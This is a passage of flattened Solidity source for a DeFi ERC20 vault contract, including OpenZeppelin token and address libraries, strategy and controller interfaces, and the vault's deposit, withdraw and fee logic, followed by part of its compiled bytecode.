(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint value); } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer( IERC20 token, address to, uint value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint value ) internal { uint newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint value ) internal { uint newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint amount ) internal virtual {} } // File: contracts/protocol/IStrategy.sol /* version 1.2.0 Changes Changes listed here do not affect interaction with other contracts (Vault and Controller) - removed function assets(address _token) external view returns (bool); - remove function deposit(uint), declared in IStrategyERC20 - add function setSlippage(uint _slippage); - add function setDelta(uint _delta); */ interface IStrategy { function admin() external view returns (address); function controller() external view returns (address); function vault() external view returns (address); /* @notice Returns address of underlying asset (ETH or ERC20) @dev Must return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE for ETH strategy */ function underlying() external view returns (address); /* @notice Returns total amount of underlying transferred from vault */ function totalDebt() external view returns (uint); function performanceFee() external view returns (uint); function slippage() external view returns (uint); /* @notice Multiplier used to check total underlying <= total debt * delta / DELTA_MIN */ function delta() external view returns (uint); function setAdmin(address _admin) external; function setController(address _controller) external; function setPerformanceFee(uint _fee) external; function setSlippage(uint _slippage) external; function setDelta(uint _delta) external; /* @notice Returns amount of underlying asset locked in this contract @dev Output may vary depending on price of liquidity provider token where the underlying asset is invested */ function totalAssets() external view returns (uint); /* @notice Withdraw `_amount` underlying asset @param amount Amount of underlying asset to withdraw */ function withdraw(uint _amount) external; /* @notice Withdraw all underlying asset from strategy */ function withdrawAll() external; /* @notice Sell any staking rewards for underlying and then deposit undelying */ function harvest() external; /* @notice Increase total debt if profit > 0 and total assets <= max, otherwise transfers profit to vault. @dev Guard against manipulation of external price feed by checking that total assets is below factor of total debt */ function skim() external; /* @notice Exit from strategy @dev Must transfer all underlying tokens back to vault */ function exit() external; /* @notice Transfer token accidentally sent here to admin @param _token Address of token to transfer @dev _token must not be equal to underlying token */ function sweep(address _token) external; } // File: contracts/protocol/IStrategyERC20.sol interface IStrategyERC20 is IStrategy { /* @notice Deposit `amount` underlying ERC20 token @param amount Amount of underlying ERC20 token to deposit */ function deposit(uint _amount) external; } // File: contracts/protocol/IVault.sol /* version 1.2.0 Changes - function deposit(uint) declared in IERC20Vault */ interface IVault { function admin() external view returns (address); function controller() external view returns (address); function timeLock() external view returns (address); /* @notice For EthVault, must return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE */ function token() external view returns (address); function strategy() external view returns (address); function strategies(address _strategy) external view returns (bool); function reserveMin() external view returns (uint); function withdrawFee() external view returns (uint); function paused() external view returns (bool); function whitelist(address _addr) external view returns (bool); function setWhitelist(address _addr, bool _approve) external; function setAdmin(address _admin) external; function setController(address _controller) external; function setTimeLock(address _timeLock) external; function setPause(bool _paused) external; function setReserveMin(uint _reserveMin) external; function setWithdrawFee(uint _fee) external; /* @notice Returns the amount of asset (ETH or ERC20) in the vault */ function balanceInVault() external view returns (uint); /* @notice Returns the estimate amount of asset in strategy @dev Output may vary depending on price of liquidity provider token where the underlying asset is invested */ function balanceInStrategy() external view returns (uint); /* @notice Returns amount of tokens invested strategy */ function totalDebtInStrategy() external view returns (uint); /* @notice Returns the total amount of asset in vault + total debt */ function totalAssets() external view returns (uint); /* @notice Returns minimum amount of tokens that should be kept in vault for cheap withdraw @return Reserve amount */ function minReserve() external view returns (uint); /* @notice Returns the amount of tokens available to be invested */ function availableToInvest() external view returns (uint); /* @notice Approve strategy @param _strategy Address of strategy */ function approveStrategy(address _strategy) external; /* @notice Revoke strategy @param _strategy Address of strategy */ function revokeStrategy(address _strategy) external; /* @notice Set strategy @param _min Minimum undelying asset current strategy must return. Prevents slippage */ function setStrategy(address _strategy, uint _min) external; /* @notice Transfers asset in vault to strategy */ function invest() external; /* @notice Calculate amount of asset that can be withdrawn @param _shares Amount of shares @return Amount of asset that can be withdrawn */ function getExpectedReturn(uint _shares) external view returns (uint); /* @notice Withdraw asset @param _shares Amount of shares to burn @param _min Minimum amount of asset expected to return */ function withdraw(uint _shares, uint _min) external; /* @notice Transfer asset in vault to admin @param _token Address of asset to transfer @dev _token must not be equal to vault asset */ function sweep(address _token) external; } // File: contracts/protocol/IERC20Vault.sol interface IERC20Vault is IVault { /* @notice Deposit undelying token into this vault @param _amount Amount of token to deposit */ function deposit(uint _amount) external; } // File: contracts/protocol/IController.sol interface IController { function ADMIN_ROLE() external view returns (bytes32); function HARVESTER_ROLE() external view returns (bytes32); function admin() external view returns (address); function treasury() external view returns (address); function setAdmin(address _admin) external; function setTreasury(address _treasury) external; function grantRole(bytes32 _role, address _addr) external; function revokeRole(bytes32 _role, address _addr) external; /* @notice Set strategy for vault @param _vault Address of vault @param _strategy Address of strategy @param _min Minimum undelying token current strategy must return. Prevents slippage */ function setStrategy( address _vault, address _strategy, uint _min ) external; // calls to strategy /* @notice Invest token in vault into strategy @param _vault Address of vault */ function invest(address _vault) external; function harvest(address _strategy) external; function skim(address _strategy) external; /* @notice Withdraw from strategy to vault @param _strategy Address of strategy @param _amount Amount of underlying token to withdraw @param _min Minimum amount of underlying token to withdraw */ function withdraw( address _strategy, uint _amount, uint _min ) external; /* @notice Withdraw all from strategy to vault @param _strategy Address of strategy @param _min Minimum amount of underlying token to withdraw */ function withdrawAll(address _strategy, uint _min) external; /* @notice Exit from strategy @param _strategy Address of strategy @param _min Minimum amount of underlying token to withdraw */ function exit(address _strategy, uint _min) external; } // File: contracts/ERC20Vault.sol /* version 1.2.0 - renamed from Vault to ERC20Vault - switch interface IVault to IERC20Vault - switch interface IStrategy to IStrategyERC20 @dev Code logic has not changed since version 1.1.0 */ contract ERC20Vault is IERC20Vault, ERC20, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint; event SetStrategy(address strategy); event ApproveStrategy(address strategy); event RevokeStrategy(address strategy); event SetWhitelist(address addr, bool approved); address public override admin; address public override controller; address public override timeLock; address public immutable override token; address public override strategy; // mapping of approved strategies mapping(address => bool) public override strategies; // percentange of token reserved in vault for cheap withdraw uint public override reserveMin = 500; uint private constant RESERVE_MAX = 10000; // Denominator used to calculate fees uint private constant FEE_MAX = 10000; uint public override withdrawFee; uint private constant WITHDRAW_FEE_CAP = 500; // upper limit to withdrawFee bool public override paused; // whitelisted addresses // used to prevent flash loah attacks mapping(address => bool) public override whitelist; /* @dev vault decimals must be equal to token decimals */ constructor( address _controller, address _timeLock, address _token ) public ERC20( string(abi.encodePacked("unagii_", ERC20(_token).name())), string(abi.encodePacked("u", ERC20(_token).symbol())) ) { require(_controller != address(0), "controller = zero address"); require(_timeLock != address(0), "time lock = zero address"); _setupDecimals(ERC20(_token).decimals()); admin = msg.sender; controller = _controller; token = _token; timeLock = _timeLock; } modifier onlyAdmin() { require(msg.sender == admin, "!admin"); _; } modifier onlyTimeLock() { require(msg.sender == timeLock, "!time lock"); _; } modifier onlyAdminOrController() { require(msg.sender == admin || msg.sender == controller, "!authorized"); _; } modifier whenStrategyDefined() { require(strategy != address(0), "strategy = zero address"); _; } modifier whenNotPaused() { require(!paused, "paused"); _; } /* @dev modifier to prevent flash loan @dev caller is restricted to EOA or whitelisted contract @dev Warning: Users can have their funds stuck if shares is transferred to a contract */ modifier guard() { require((msg.sender == tx.origin) || whitelist[msg.sender], "!whitelist"); _; } function setAdmin(address _admin) external override onlyAdmin { require(_admin != address(0), "admin = zero address"); admin = _admin; } function setController(address _controller) external override onlyAdmin { require(_controller != address(0), "controller = zero address"); controller = _controller; } function setTimeLock(address _timeLock) external override onlyTimeLock { require(_timeLock != address(0), "time lock = zero address"); timeLock = _timeLock; } function setPause(bool _paused) external override onlyAdmin { paused = _paused; } function setWhitelist(address _addr, bool _approve) external override onlyAdmin { whitelist[_addr] = _approve; emit SetWhitelist(_addr, _approve); } function setReserveMin(uint _reserveMin) external override onlyAdmin { require(_reserveMin <= RESERVE_MAX, "reserve min > max"); reserveMin = _reserveMin; } function setWithdrawFee(uint _fee) external override onlyAdmin { require(_fee <= WITHDRAW_FEE_CAP, "withdraw fee > cap"); withdrawFee = _fee; } function _balanceInVault() private view returns (uint) { return IERC20(token).balanceOf(address(this)); } /* @notice Returns balance of tokens in vault @return Amount of token in vault */ function balanceInVault() external view override returns (uint) { return _balanceInVault(); } function _balanceInStrategy() private view returns (uint) { if (strategy == address(0)) { return 0; } return IStrategyERC20(strategy).totalAssets(); } /* @notice Returns the estimate amount of token in strategy @dev Output may vary depending on price of liquidity provider token where the underlying token is invested */ function balanceInStrategy() external view override returns (uint) { return _balanceInStrategy(); } function _totalDebtInStrategy() private view returns (uint) { if (strategy == address(0)) { return 0; } return IStrategyERC20(strategy).totalDebt(); } /* @notice Returns amount of tokens invested strategy */ function totalDebtInStrategy() external view override returns (uint) { return _totalDebtInStrategy(); } function _totalAssets() private view returns (uint) { return _balanceInVault().add(_totalDebtInStrategy()); } /* @notice Returns the total amount of tokens in vault + total debt @return Total amount of tokens in vault + total debt */ function totalAssets() external view override returns (uint) { return _totalAssets(); } function _minReserve() private view returns (uint) { return _totalAssets().mul(reserveMin) / RESERVE_MAX; } /* @notice Returns minimum amount of tokens that should be kept in vault for cheap withdraw @return Reserve amount */ function minReserve() external view override returns (uint) { return _minReserve(); } function _availableToInvest() private view returns (uint) { if (strategy == address(0)) { return 0; } uint balInVault = _balanceInVault(); uint reserve = _minReserve(); if (balInVault <= reserve) { return 0; } return balInVault - reserve; } /* @notice Returns amount of token available to be invested into strategy @return Amount of token available to be invested into strategy */ function availableToInvest() external view override returns (uint) { return _availableToInvest(); } /* @notice Approve strategy @param _strategy Address of strategy to revoke */ function approveStrategy(address _strategy) external override onlyTimeLock { require(_strategy != address(0), "strategy = zero address"); strategies[_strategy] = true; emit ApproveStrategy(_strategy); } /* @notice Revoke strategy @param _strategy Address of strategy to revoke */ function revokeStrategy(address _strategy) external override onlyAdmin { require(_strategy != address(0), "strategy = zero address"); strategies[_strategy] = false; emit RevokeStrategy(_strategy); } /* @notice Set strategy to approved strategy @param _strategy Address of strategy used @param _min Minimum undelying token current strategy must return. Prevents slippage */ function setStrategy(address _strategy, uint _min) external override onlyAdminOrController { require(strategies[_strategy], "!approved"); require(_strategy != strategy, "new strategy = current strategy"); require( IStrategyERC20(_strategy).underlying() == token, "strategy.token != vault.token" ); require( IStrategyERC20(_strategy).vault() == address(this), "strategy.vault != vault" ); // withdraw from current strategy if (strategy != address(0)) { IERC20(token).safeApprove(strategy, 0); uint balBefore = _balanceInVault(); IStrategyERC20(strategy).exit(); uint balAfter = _balanceInVault(); require(balAfter.sub(balBefore) >= _min, "withdraw < min"); } strategy = _strategy; emit SetStrategy(strategy); } /* @notice Invest token from vault into strategy. Some token are kept in vault for cheap withdraw. */ function invest() external override whenStrategyDefined whenNotPaused onlyAdminOrController { uint amount = _availableToInvest(); require(amount > 0, "available = 0"); IERC20(token).safeApprove(strategy, 0); IERC20(token).safeApprove(strategy, amount); IStrategyERC20(strategy).deposit(amount); IERC20(token).safeApprove(strategy, 0); } /* @notice Deposit token into vault @param _amount Amount of token to transfer from `msg.sender` */ function deposit(uint _amount) external override whenNotPaused nonReentrant guard { require(_amount > 0, "amount = 0"); uint totalUnderlying = _totalAssets(); uint totalShares = totalSupply(); /* s = shares to mint T = total shares before mint d = deposit amount A = total assets in vault + strategy before deposit s / (T + s) = d / (A + d) s = d / A * T */ uint shares; if (totalShares == 0) { shares = _amount; } else { shares = _amount.mul(totalShares).div(totalUnderlying); } _mint(msg.sender, shares); IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); } function _getExpectedReturn( uint _shares, uint _balInVault, uint _balInStrat ) private view returns (uint) { /* s = shares T = total supply of shares w = amount of underlying token to withdraw U = total amount of redeemable underlying token in vault + strategy s / T = w / U w = s / T * U */ /* total underlying = bal in vault + min(total debt, bal in strat) if bal in strat > total debt, redeemable = total debt else redeemable = bal in strat */ uint totalDebt = _totalDebtInStrategy(); uint totalUnderlying; if (_balInStrat > totalDebt) { totalUnderlying = _balInVault.add(totalDebt); } else { totalUnderlying = _balInVault.add(_balInStrat); } uint totalShares = totalSupply(); if (totalShares > 0) { return _shares.mul(totalUnderlying) / totalShares; } return 0; } /* @notice Calculate amount of underlying token that can be withdrawn @param _shares Amount of shares @return Amount of underlying token that can be withdrawn */ function getExpectedReturn(uint _shares) external view override returns (uint) { uint balInVault = _balanceInVault(); uint balInStrat = _balanceInStrategy(); return _getExpectedReturn(_shares, balInVault, balInStrat); } /* @notice Withdraw underlying token @param _shares Amount of shares to burn @param _min Minimum amount of underlying token to return @dev Keep `guard` modifier, else attacker can deposit and then use smart contract to attack from withdraw */ function withdraw(uint _shares, uint _min) external override nonReentrant guard { require(_shares > 0, "shares = 0"); uint balInVault = _balanceInVault(); uint balInStrat = _balanceInStrategy(); uint withdrawAmount = _getExpectedReturn(_shares, balInVault, balInStrat); // Must burn after calculating withdraw amount _burn(msg.sender, _shares); if (balInVault < withdrawAmount) { // maximize withdraw amount from strategy uint amountFromStrat = withdrawAmount; if (balInStrat < withdrawAmount) { amountFromStrat = balInStrat; } IStrategyERC20(strategy).withdraw(amountFromStrat); uint balAfter = _balanceInVault(); uint diff = balAfter.sub(balInVault); if (diff < amountFromStrat) { // withdraw amount - withdraw amount from strat = amount to withdraw from vault // diff = actual amount returned from strategy // NOTE: withdrawAmount >= amountFromStrat withdrawAmount = (withdrawAmount - amountFromStrat).add(diff); } // transfer to treasury uint fee = withdrawAmount.mul(withdrawFee) / FEE_MAX; if (fee > 0) { address treasury = IController(controller).treasury(); require(treasury != address(0), "treasury = zero address"); withdrawAmount = withdrawAmount - fee; IERC20(token).safeTransfer(treasury, fee); } } require(withdrawAmount >= _min, "withdraw < min"); IERC20(token).safeTransfer(msg.sender, withdrawAmount); } /* @notice Transfer token != underlying token in vault to admin @param _token Address of token to transfer @dev Must transfer token to admin @dev _token must not be equal to underlying token @dev Used to transfer token that was accidentally sent to this vault */ function sweep(address _token) external override onlyAdmin { require(_token != token, "token = vault.token"); IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80637373bc5a11610146578063b6ac642a116100c3578063dd62ed3e11610087578063dd62ed3e146106ee578063e8b5e51f1461071c578063e941fa7814610724578063f77c47911461072c578063f851a44014610734578063fc0c546a1461073c5761025e565b8063b6ac642a14610667578063b6b55f2514610684578063bb994d48146106a1578063bedb86fb146106c7578063d085835a146106e65761025e565b80639b19251a1161010a5780639b19251a146105bd5780639c8234b3146105e3578063a457c2d7146105eb578063a8c62e7614610617578063a9059cbb1461063b5761025e565b80637373bc5a14610544578063891682d21461054c57806392eefe9b1461057257806395d89b4114610598578063965c0f28146105a05761025e565b806339ebf823116101df578063596252fc116101a3578063596252fc146104c357806359c077d7146104cb5780635c975abb146104e85780636cb64d8f146104f0578063704b6c02146104f857806370a082311461051e5761025e565b806339ebf823146103fa5780633b8ae39714610420578063441a3e701461044657806345d34def1461046957806353d6fd59146104955761025e565b80631b4a2001116102265780631b4a20011461036a578063232870211461037257806323b872dd1461037a578063313ce567146103b057806339509351146103ce5761025e565b806301681a621461026357806301e1d1141461028b57806306fdde03146102a5578063095ea7b31461032257806318160ddd14610362575b600080fd5b6102896004803603602081101561027957600080fd5b50356001600160a01b0316610744565b005b6102936108a2565b60408051918252519081900360200190f35b6102ad6108b2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61034e6004803603604081101561033857600080fd5b506001600160a01b038135169060200135610948565b604080519115158252519081900360200190f35b610293610966565b61029361096c565b610293610976565b61034e6004803603606081101561039057600080fd5b506001600160a01b03813581